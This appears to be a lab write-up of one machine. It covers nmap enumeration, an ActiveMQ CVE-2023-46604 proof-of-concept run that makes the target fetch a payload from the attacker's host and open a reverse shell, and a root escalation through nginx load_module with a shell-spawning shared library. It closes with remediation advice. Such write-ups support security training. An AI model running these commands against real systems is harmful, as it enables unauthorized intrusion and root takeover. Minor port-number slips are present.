Summary

• The target was running a vulnerable version of ActiveMQ.
• The user account had a sudo rule allowing it to run nginx, which could be abused to execute commands as root — leading to privilege escalation.

Recommendation

• Upgrade ActiveMQ to the latest version, and periodically check that all software and packages are kept up to date.
• Close off any ports that don’t need to be reachable from outside.
• Remove the sudo rule allowing nginx to be run by this user.
• More generally, apply the principle of least privilege to sudoers entries.

Enumeration

First of all, let's enumerate open ports using namp.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.87

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.87

Ports 20(SSH) and 80(HTTP) are open. This suggests it is a Linux machine.
Some unfamiliar ports 1883, 5672, 8161, 41835, 61613 and 61614 are open which need to be investigated later.

No interesting UDP ports are open.

Port 80(HTTP) and 8161(HTTP) have Basic Authentication as follows.
http://10.129.230.87:80

http://10.129.230.87:8161

Exploitation

After some research, I found that ActiveMQ OpenWire transport 5.15.15 has the vulnerability tracked as CVE-2023-46604.
https://github.com/advisories/GHSA-crg9-44h2-xw35

So I used the following PoC.
https://github.com/rootsecdev/CVE-2023-46604

What I did was change the listening IP address to mine in poc-linux.xml.

Let's execute it.

#Terminal A
nc -lvnp 9001

#Terminal B
python3 -m http.server 8000

# Terminal C
go run main.go -i 10.129.230.87 -p 61616 -u http://10.10.15.108:8000/poc-linux.xml

Then, I received the shell as follows.

cat /home/activemq/user.txt

Hooray!

Privilege Escalation

First of all, I checked sudo -l.

sudo -l

It is revealed that activemq can use nginx as root.

Let's check GTFOBins for nginx. There is a way for privilege escalation as follows.
https://gtfobins.org/gtfobins/nginx/

Let's try it.
First, make lib.so.

echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -

Second, make temp-file.

cat >/tmp/temp-file <<EOF
load_module /tmp/lib.so;
EOF

Third, execute it.

sudo nginx -t -c /tmp/temp-file

Hooray!

Lessons Learned

• Nmap sometimes hangs on Linux, so from now on I’ll run it twice and drop --min-rate to around 1500.
• Turns out OpenVPN was running twice, so I ended up connected on tun1 instead of tun0. Next time I’ll check ip route first.